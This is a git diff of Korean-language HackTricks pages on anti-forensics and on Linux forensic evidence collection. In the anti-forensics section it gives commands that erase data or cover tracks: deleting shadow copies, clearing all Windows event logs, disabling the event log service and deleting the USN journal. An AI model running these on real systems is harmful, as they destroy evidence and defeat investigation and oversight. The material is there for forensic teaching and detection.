+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로**부터 **히어로**로 **AWS 해킹**을 배우세요!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
-* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 기법을 공유하세요.**
+{% endhint %}
## 타임스탬프
-공격자는 **파일의 타임스탬프를 변경**하여 감지를 피하려 할 수 있습니다.\
-MFT 내에서 `$STANDARD_INFORMATION` 및 `$FILE_NAME` 속성에서 타임스탬프를 찾을 수 있습니다.
+공격자는 **파일의 타임스탬프를 변경**하여 탐지를 피하고자 할 수 있습니다.\
+타임스탬프는 MFT의 `$STANDARD_INFORMATION` \_\_ 및 \_\_ `$FILE_NAME` 속성 내에서 찾을 수 있습니다.
-두 속성에는 **수정**, **액세스**, **생성**, **MFT 레지스트리 수정**(MACE 또는 MACB)에 대한 4개의 타임스탬프가 있습니다.
+두 속성 모두 4개의 타임스탬프를 가지고 있습니다: **수정**, **접근**, **생성**, 및 **MFT 레지스트리 수정** (MACE 또는 MACB).
-**Windows 탐색기** 및 기타 도구는 **`$STANDARD_INFORMATION`**에서 정보를 표시합니다.
+**Windows 탐색기** 및 기타 도구는 **`$STANDARD_INFORMATION`**의 정보를 표시합니다.
### TimeStomp - 안티 포렌식 도구
-이 도구는 **`$STANDARD_INFORMATION`** 내의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내의 정보는 **수정하지 않습니다**. 따라서 **의심스러운 활동을 식별**할 수 있습니다.
+이 도구는 **`$STANDARD_INFORMATION`** 내의 타임스탬프 정보를 **수정**하지만 **`$FILE_NAME`** 내의 정보는 **수정하지 않습니다**. 따라서 **의심스러운** **활동을 식별**할 수 있습니다.
### Usnjrnl
-**USN Journal**(Update Sequence Number Journal)은 NTFS(Windows NT 파일 시스템)의 기능으로 볼륨 변경 사항을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하여 이러한 변경 사항을 검토할 수 있습니다.
+**USN 저널** (업데이트 시퀀스 번호 저널)은 NTFS (Windows NT 파일 시스템)의 기능으로, 볼륨 변경 사항을 추적합니다. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) 도구를 사용하면 이러한 변경 사항을 검사할 수 있습니다.
![](<../../.gitbook/assets/image (801).png>)
-이전 이미지는 **도구**에서 표시된 **출력**으로 파일에 일부 **변경이 수행**된 것을 확인할 수 있습니다.
+이전 이미지는 **도구**에서 표시된 **출력**으로, 파일에 대해 **일부 변경이 수행되었음을** 관찰할 수 있습니다.
### $LogFile
-파일 시스템의 모든 메타데이터 변경 사항은 [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead\_logging)이라는 프로세스에서 **로그됩니다**. 로그된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 있는 `**$LogFile**`이라는 파일에 유지됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
+**파일 시스템에 대한 모든 메타데이터 변경 사항은** [쓰기 선행 로깅](https://en.wikipedia.org/wiki/Write-ahead_logging)이라는 프로세스에 기록됩니다. 기록된 메타데이터는 NTFS 파일 시스템의 루트 디렉토리에 위치한 `**$LogFile**`이라는 파일에 저장됩니다. [LogFileParser](https://github.com/jschicht/LogFileParser)와 같은 도구를 사용하여 이 파일을 구문 분석하고 변경 사항을 식별할 수 있습니다.
![](<../../.gitbook/assets/image (137).png>)
-다시 도구의 출력에서 **일부 변경이 수행**된 것을 확인할 수 있습니다.
+다시 말해, 도구의 출력에서 **일부 변경이 수행되었음을** 볼 수 있습니다.
-동일한 도구를 사용하여 **타임스탬프가 수정된 시간을 식별**할 수 있습니다:
+같은 도구를 사용하여 **타임스탬프가 수정된 시간을 식별**할 수 있습니다:
![](<../../.gitbook/assets/image (1089).png>)
* CTIME: 파일 생성 시간
* ATIME: 파일 수정 시간
-* MTIME: 파일 MFT 레지스트리 수정
-* RTIME: 파일 액세스 시간
+* MTIME: 파일의 MFT 레지스트리 수정
+* RTIME: 파일 접근 시간
### `$STANDARD_INFORMATION` 및 `$FILE_NAME` 비교
-의심스러운 수정된 파일을 식별하는 또 다른 방법은 두 속성의 시간을 비교하여 **불일치**를 찾는 것입니다.
+의심스러운 수정된 파일을 식별하는 또 다른 방법은 두 속성의 시간을 비교하여 **불일치를 찾는 것**입니다.
### 나노초
-**NTFS** 타임스탬프는 **100 나노초의 정밀도**를 갖습니다. 따라서 2010-10-10 10:10:**00.000:0000과 같은 타임스탬프가 있는 파일을 찾는 것은 매우 의심스러울 수 있습니다.
+**NTFS** 타임스탬프는 **100 나노초**의 **정밀도**를 가집니다. 따라서 2010-10-10 10:10:**00.000:0000와 같은 타임스탬프를 가진 파일을 찾는 것은 매우 의심스럽습니다.
### SetMace - 안티 포렌식 도구
-이 도구는 `$STARNDAR_INFORMATION` 및 `$FILE_NAME` 속성을 모두 수정할 수 있습니다. 그러나 Windows Vista부터는 이 정보를 수정하려면 라이브 OS가 필요합니다.
+이 도구는 `$STARNDAR_INFORMATION` 및 `$FILE_NAME` 두 속성을 수정할 수 있습니다. 그러나 Windows Vista부터는 이 정보를 수정하기 위해 라이브 OS가 필요합니다.
-## 데이터 숨김
+## 데이터 숨기기
-NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 사용하면 **파일이 삭제될 때까지 남은 반은 사용되지 않을 것**입니다. 그럼으로 이 "숨겨진" 공간에 데이터를 **숨길 수 있습니다**.
+NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이 클러스터와 반 개를 차지하면, **남은 반 개는 파일이 삭제될 때까지 절대 사용되지 않습니다**. 따라서 이 슬랙 공간에 **데이터를 숨길 수 있습니다**.
-슬래커와 같은 도구를 사용하여 이 "숨겨진" 공간에 데이터를 숨길 수 있습니다. 그러나 `$logfile` 및 `$usnjrnl`의 분석을 통해 일부 데이터가 추가되었음을 확인할 수 있습니다:
+슬래커와 같은 도구를 사용하면 이 "숨겨진" 공간에 데이터를 숨길 수 있습니다. 그러나 `$logfile` 및 `$usnjrnl` 분석을 통해 일부 데이터가 추가되었음을 보여줄 수 있습니다:
![](<../../.gitbook/assets/image (1060).png>)
-그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 검색할 수 있습니다. 이러한 유형의 도구는 콘텐츠를 난독화하거나 암호화할 수 있습니다.
+그런 다음 FTK Imager와 같은 도구를 사용하여 슬랙 공간을 복구할 수 있습니다. 이러한 종류의 도구는 내용을 난독화하거나 심지어 암호화된 상태로 저장할 수 있습니다.
## UsbKill
-이 도구는 **USB 포트에 변경 사항이 감지되면 컴퓨터를 종료**합니다.\
-이를 발견하는 방법은 실행 중인 프로세스를 검사하고 **각 Python 스크립트를 검토**하는 것입니다.
+이 도구는 **USB** 포트에서 변경 사항이 감지되면 컴퓨터를 **꺼**는 도구입니다.\
+이를 발견하는 방법은 실행 중인 프로세스를 검사하고 **실행 중인 각 파이썬 스크립트를 검토하는 것**입니다.
-## 라이브 Linux 배포
+## 라이브 리눅스 배포판
-이러한 배포판은 **RAM 메모리 내에서 실행**됩니다. NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우에만 침입을 감지할 수 있습니다. 읽기 권한으로만 마운트된 경우 침입을 감지할 수 없습니다.
+이 배포판은 **RAM** 메모리 내에서 **실행됩니다**. 이를 감지하는 유일한 방법은 **NTFS 파일 시스템이 쓰기 권한으로 마운트된 경우**입니다. 읽기 권한만으로 마운트되면 침입을 감지할 수 없습니다.
## 안전한 삭제
@@ -89,74 +90,90 @@ NFTS는 클러스터와 최소 정보 크기를 사용합니다. 즉, 파일이
## Windows 구성
-포렌식 조사를 훨씬 어렵게 만들기 위해 여러 Windows 로깅 방법을 비활성화할 수 있습니다.
+여러 Windows 로깅 방법을 비활성화하여 포렌식 조사를 훨씬 더 어렵게 만들 수 있습니다.
### 타임스탬프 비활성화 - UserAssist
-이는 사용자가 실행한 각 실행 파일의 날짜와 시간을 유지하는 레지스트리 키입니다.
+이것은 사용자가 각 실행 파일을 실행한 날짜와 시간을 유지하는 레지스트리 키입니다.
-UserAssist를 비활성화하려면 두 단계가 필요합니다:
+UserAssist를 비활성화하려면 두 단계를 수행해야 합니다:
-1. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 및 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` 두 레지스트리 키를 0으로 설정하여 UserAssist를 비활성화하려는 것을 나타냅니다.
+1. 두 개의 레지스트리 키, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` 및 `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`를 모두 0으로 설정하여 UserAssist를 비활성화하려고 한다는 신호를 보냅니다.
2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`와 같은 레지스트리 하위 트리를 지웁니다.
### 타임스탬프 비활성화 - Prefetch
-이는 Windows 시스템의 성능을 향상시키기 위해 실행된 응용 프로그램에 대한 정보를 저장합니다. 그러나 이는 포렌식 실무에도 유용할 수 있습니다.
+이것은 Windows 시스템의 성능을 향상시키기 위해 실행된 애플리케이션에 대한 정보를 저장합니다. 그러나 이것은 포렌식 관행에도 유용할 수 있습니다.
-* `regedit`를 실행합니다.
-* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`를 선택합니다.
-* `EnablePrefetcher` 및 `EnableSuperfetch`에서 마우스 오른쪽 버튼을 클릭합니다.
-* 각각을 수정하려면 1(또는 3)에서 0으로 값을 변경합니다.
-* 다시 시작합니다.
+* `regedit` 실행
+* 파일 경로 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` 선택
+* `EnablePrefetcher` 및 `EnableSuperfetch`를 마우스 오른쪽 버튼으로 클릭
+* 각 항목에서 값을 1(또는 3)에서 0으로 변경하기 위해 수정 선택
+* 재부팅
-### 타임스탬프 비활성화 - 마지막 액세스 시간
+### 타임스탬프 비활성화 - 마지막 접근 시간
-Windows NT 서버의 NTFS 볼륨에서 폴더가 열릴 때 시스템은 **각 목록된 폴더의 타임스탬프 필드를 업데이트**하는 시간을 취합니다. 이를 마지막 액세스 시간이라고 합니다. 사용 빈도가 높은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
+Windows NT 서버의 NTFS 볼륨에서 폴더가 열릴 때마다 시스템은 각 나열된 폴더에 대한 타임스탬프 필드를 **업데이트하는 데 시간을 소요합니다**, 이를 마지막 접근 시간이라고 합니다. 사용량이 많은 NTFS 볼륨에서는 성능에 영향을 줄 수 있습니다.
1. 레지스트리 편집기(Regedit.exe)를 엽니다.
-2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`로 이동합니다.
+2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`으로 이동합니다.
3. `NtfsDisableLastAccessUpdate`를 찾습니다. 존재하지 않으면 이 DWORD를 추가하고 값을 1로 설정하여 프로세스를 비활성화합니다.
-4. 레지스트리 편집기를 닫고 서버를 다시 시작합니다.
-### USB 히스토리 삭제
+4. 레지스트리 편집기를 닫고 서버를 재부팅합니다.
-모든 **USB 장치 항목**은 Windows 레지스트리에 **USBSTOR** 레지스트리 키 아래에 저장되며, 이 키에는 PC나 노트북에 USB 장치를 연결할 때마다 생성되는 하위 키가 포함되어 있습니다. 이 키는 여기에서 찾을 수 있습니다 `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이를 삭제**하면 USB 히스토리가 삭제됩니다.\
-또한 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 도구를 사용하여 삭제했는지 확인하고 삭제할 수 있습니다.
+### USB 기록 삭제
-USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내부의 `setupapi.dev.log` 파일입니다. 이 파일도 삭제해야 합니다.
+모든 **USB 장치 항목**은 USB 장치를 PC 또는 노트북에 연결할 때 생성되는 하위 키를 포함하는 **USBSTOR** 레지스트리 키 아래에 Windows 레지스트리에 저장됩니다. 이 키는 여기에서 찾을 수 있습니다: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **이것을 삭제하면** USB 기록이 삭제됩니다.\
+또한 [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) 도구를 사용하여 삭제되었는지 확인할 수 있습니다 (그리고 삭제할 수 있습니다).
-### 그림자 복사본 비활성화
+USB에 대한 정보를 저장하는 또 다른 파일은 `C:\Windows\INF` 내의 `setupapi.dev.log` 파일입니다. 이것도 삭제해야 합니다.
-`vssadmin list shadowstorage`로 그림자 복사본을 **목록**화합니다.\
-`vssadmin delete shadow`를 실행하여 삭제합니다.
+### 섀도우 복사 비활성화
-또한 [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따라 GUI를 통해 삭제할 수도 있습니다.
+**섀도우 복사 목록**을 보려면 `vssadmin list shadowstorage` 실행\
+**삭제**하려면 `vssadmin delete shadow` 실행
-그림자 복사본을 비활성화하려면 [여기에서 제안된 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows)를 따르세요:
+[https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)에서 제안된 단계를 따라 GUI를 통해 삭제할 수도 있습니다.
+
+섀도우 복사를 비활성화하려면 [여기에서 단계](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Windows 시작 버튼을 클릭한 후 텍스트 검색 상자에 "services"를 입력하여 서비스 프로그램을 엽니다.
-2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 다음 마우스 오른쪽 버튼을 클릭하여 속성에 액세스합니다.
-3. "시작 유형" 드롭다운 메뉴에서 "비활성화"를 선택한 다음 변경을 확인하기 위해 적용 및 확인을 클릭합니다.
+2. 목록에서 "Volume Shadow Copy"를 찾아 선택한 후 마우스 오른쪽 버튼을 클릭하여 속성에 접근합니다.
+3. "시작 유형" 드롭다운 메뉴에서 비활성화를 선택하고, 변경 사항을 적용하고 확인을 클릭하여 변경을 확인합니다.
-그림자 복사본에서 복사할 파일의 구성을 수정할 수도 있습니다. 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 이를 수행할 수 있습니다.
+어떤 파일이 섀도우 복사에 복사될지를 레지스트리 `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`에서 수정할 수도 있습니다.
### 삭제된 파일 덮어쓰기
-* **Windows 도구**인 `cipher /w:C`를 사용할 수 있습니다. 이는 cipher에게 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시합니다.
-* [**Eraser**](https://eraser.heidi.ie)와 같은 도구도 사용할 수 있습니다.
+* **Windows 도구**를 사용할 수 있습니다: `cipher /w:C` 이는 C 드라이브 내의 사용 가능한 미사용 디스크 공간에서 데이터를 제거하도록 지시합니다.
+* [**Eraser**](https://eraser.heidi.ie)와 같은 도구를 사용할 수도 있습니다.
### Windows 이벤트 로그 삭제
-* Windows + R --> eventvwr.msc --> "Windows Logs" 확장 --> 각 범주를 마우스 오른쪽 버튼으로 클릭하고 "로그 지우기"를 선택합니다.
+* Windows + R --> eventvwr.msc --> "Windows 로그" 확장 --> 각 카테고리를 마우스 오른쪽 버튼으로 클릭하고 "로그 지우기" 선택
* `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
* `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
### Windows 이벤트 로그 비활성화
* `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
-* 서비스 섹션 내에서 "Windows Event Log" 서비스를 비활성화합니다.
+* 서비스 섹션 내에서 "Windows 이벤트 로그" 서비스를 비활성화합니다.
* `WEvtUtil.exec clear-log` 또는 `WEvtUtil.exe cl`
### $UsnJrnl 비활성화
* `fsutil usn deletejournal /d c:`
+
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+HackTricks 지원하기
+
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 기법을 공유하세요.**
+
+
+{% endhint %}
diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
index 39e62fe0f..5092e7f3b 100644
--- a/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
+++ b/generic-methodologies-and-resources/basic-forensic-methodology/linux-forensics.md
@@ -1,37 +1,38 @@
-# 리눅스 포렌식
+# Linux Forensics
\
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급 커뮤니티 도구**로 구동되는 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
-오늘 바로 액세스하세요:
+[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\
+오늘 바로 접근하세요:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %}
+{% hint style="success" %}
+AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-제로부터 영웅이 될 때까지 AWS 해킹을 배우세요htARTE (HackTricks AWS Red Team Expert)!
+HackTricks 지원하기
-HackTricks를 지원하는 다른 방법:
-
-* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
-* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
-* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
-* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
-* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
+* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
+* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
+* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
+{% endhint %}
## 초기 정보 수집
### 기본 정보
-먼저, **USB**에 **잘 알려진 이진 파일 및 라이브러리**가 있는 것이 좋습니다(우분투를 가져와 _/bin_, _/sbin_, _/lib,_ 및 _/lib64_ 폴더를 복사할 수 있습니다), 그런 다음 USB를 마운트하고, 환경 변수를 수정하여 해당 이진 파일을 사용하세요:
+우선, **잘 알려진 바이너리와 라이브러리가 있는 **USB**를 준비하는 것이 좋습니다** (우분투를 다운로드하고 _/bin_, _/sbin_, _/lib,_ 및 _/lib64_ 폴더를 복사하면 됩니다), 그런 다음 USB를 마운트하고 환경 변수를 수정하여 해당 바이너리를 사용하세요:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
-한 번 시스템이 좋고 알려진 이진 파일을 사용하도록 구성되면 **기본 정보를 추출**할 수 있습니다:
+시스템을 신뢰할 수 있는 바이너리를 사용하도록 구성한 후에는 **기본 정보를 추출하기 시작할 수 있습니다**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
@@ -49,47 +50,47 @@ cat /etc/passwd #Unexpected data?
cat /etc/shadow #Unexpected data?
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
```
-#### 수상한 정보
+#### 의심스러운 정보
-기본 정보를 얻는 동안 다음과 같은 이상한 점을 확인해야 합니다:
+기본 정보를 얻는 동안 다음과 같은 이상한 사항을 확인해야 합니다:
-- **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심해야 합니다.
-- `/etc/passwd` 내부에 쉘 없이 등록된 사용자들의 **등록된 로그인**을 확인합니다.
-- `/etc/shadow` 내부에 쉘 없이 사용자들의 **비밀번호 해시**를 확인합니다.
+* **루트 프로세스**는 일반적으로 낮은 PID로 실행되므로, 큰 PID를 가진 루트 프로세스를 발견하면 의심할 수 있습니다.
+* `/etc/passwd` 내에서 셸이 없는 사용자의 **등록된 로그인**을 확인하십시오.
+* 셸이 없는 사용자의 `/etc/shadow` 내에서 **비밀번호 해시**를 확인하십시오.
### 메모리 덤프
-실행 중인 시스템의 메모리를 얻기 위해서는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\
-**컴파일**하려면 피해자 머신이 사용 중인 **동일한 커널**을 사용해야 합니다.
+실행 중인 시스템의 메모리를 얻으려면 [**LiME**](https://github.com/504ensicsLabs/LiME)를 사용하는 것이 좋습니다.\
+**컴파일**하려면 피해자 머신이 사용하는 **동일한 커널**을 사용해야 합니다.
{% hint style="info" %}
-피해자 머신에 **LiME나 다른 것을 설치할 수 없다는 것**을 기억하세요. 그렇게 하면 여러 가지 변경 사항이 발생합니다.
+피해자 머신에 **LiME 또는 다른 어떤 것**도 설치할 수 없다는 점을 기억하세요. 이는 여러 가지 변경을 초래할 것입니다.
{% endhint %}
-따라서 Ubuntu의 동일한 버전이 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\
-그렇지 않은 경우 [**LiME**](https://github.com/504ensicsLabs/LiME)을 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 **정확한 커널 헤더**를 얻으려면 `/lib/modules/<커널 버전>` 디렉토리를 단순히 복사하여 자신의 머신에 붙여넣은 다음, 이를 사용하여 LiME을 **컴파일**할 수 있습니다:
+따라서 동일한 버전의 Ubuntu가 있다면 `apt-get install lime-forensics-dkms`를 사용할 수 있습니다.\
+다른 경우에는 [**LiME**](https://github.com/504ensicsLabs/LiME)를 github에서 다운로드하고 올바른 커널 헤더로 컴파일해야 합니다. 피해자 머신의 **정확한 커널 헤더**를 얻으려면 `/lib/modules/` 디렉토리를 귀하의 머신으로 **복사**한 다음, 이를 사용하여 LiME를 **컴파일**하면 됩니다:
```bash
make -C /lib/modules//build M=$PWD
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
```
-LiME는 3가지 **포맷**을 지원합니다:
+LiME는 3가지 **형식**을 지원합니다:
-* Raw (모든 세그먼트가 연결된 상태)
-* Padded (Raw와 동일하지만 오른쪽 비트에는 0이 들어 있음)
-* Lime (메타데이터가 포함된 권장되는 포맷)
+* Raw (모든 세그먼트를 함께 연결)
+* Padded (raw와 동일하지만 오른쪽 비트에 제로 추가)
+* Lime (메타데이터가 포함된 추천 형식)
-LiME를 사용하여 덤프를 시스템에 저장하는 대신 **네트워크를 통해 전송**할 수도 있습니다. 예를 들어, `path=tcp:4444`와 같이 사용할 수 있습니다.
+LiME는 또한 **시스템에 저장하는 대신 네트워크를 통해 덤프를 전송**하는 데 사용할 수 있습니다: `path=tcp:4444`
### 디스크 이미징
#### 시스템 종료
-먼저, **시스템을 종료**해야 합니다. 이것은 언제나 선택사항은 아닙니다. 때로는 회사가 종료할 여유가 없는 프로덕션 서버일 수 있습니다.\
-시스템을 종료하는 **2가지 방법**이 있습니다. **일반 종료**와 **"전원 플러그를 뽑는" 종료**입니다. 첫 번째 방법은 **프로세스가 보통대로 종료**되고 **파일 시스템이 동기화**되지만, **악성 코드**가 **증거를 파괴**할 수도 있습니다. "전원 플러그를 뽑는" 방법은 **일부 정보 손실**을 야기할 수 있지만 (메모리 이미지를 이미 취했기 때문에 정보가 많이 손실되지는 않을 것입니다) **악성 코드가 이에 대해 아무것도 할 수 없게** 합니다. 따라서 **악성 코드**가 있을 것으로 **의심**된다면 시스템에서 **`sync`** **명령어**를 실행하고 전원을 차단하세요.
+우선, **시스템을 종료해야** 합니다. 이는 항상 가능한 옵션이 아니며, 때때로 시스템이 회사가 종료할 수 없는 프로덕션 서버일 수 있습니다.\
+시스템을 종료하는 **2가지 방법**이 있습니다: **정상 종료**와 **"플러그를 뽑는" 종료**. 첫 번째 방법은 **프로세스가 정상적으로 종료**되고 **파일 시스템**이 **동기화**되도록 허용하지만, **악성코드**가 **증거를 파괴**할 가능성도 있습니다. "플러그를 뽑는" 접근 방식은 **일부 정보 손실**을 초래할 수 있습니다(메모리 이미지를 이미 가져왔기 때문에 많은 정보가 손실되지 않을 것입니다) 그리고 **악성코드가 아무것도 할 기회**가 없습니다. 따라서 **악성코드**가 있을 것으로 **의심**되는 경우, 시스템에서 **`sync`** **명령**을 실행하고 플러그를 뽑으십시오.
-#### 디스크 이미지 취하기
+#### 디스크 이미지 가져오기
-**컴퓨터를 사건과 관련된 어떤 것에 연결하기 전에**, 정보를 수정하지 않도록 **읽기 전용으로 마운트**되는지 확인해야 합니다.
+**사건과 관련된 어떤 것에 컴퓨터를 연결하기 전에** 반드시 **읽기 전용으로 마운트**될 것인지 확인하는 것이 중요합니다.
```bash
#Create a raw copy of the disk
dd if= of= bs=512
@@ -98,9 +99,9 @@ dd if= of= bs=512
dcfldd if= of= bs=512 hash= hashwindow= hashlog=
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
```
-### 디스크 이미지 사전 분석
+### Disk Image pre-analysis
-추가 데이터가 없는 디스크 이미지를 이미징합니다.
+더 이상 데이터가 없는 디스크 이미지를 이미징합니다.
```bash
#Find out if it's a disk image using "file" command
file disk.img
@@ -156,23 +157,23 @@ ThisisTheMasterSecret
\
-[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics)를 사용하여 세계에서 가장 **고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축** 및 **자동화**하세요.\
-오늘 바로 액세스하세요:
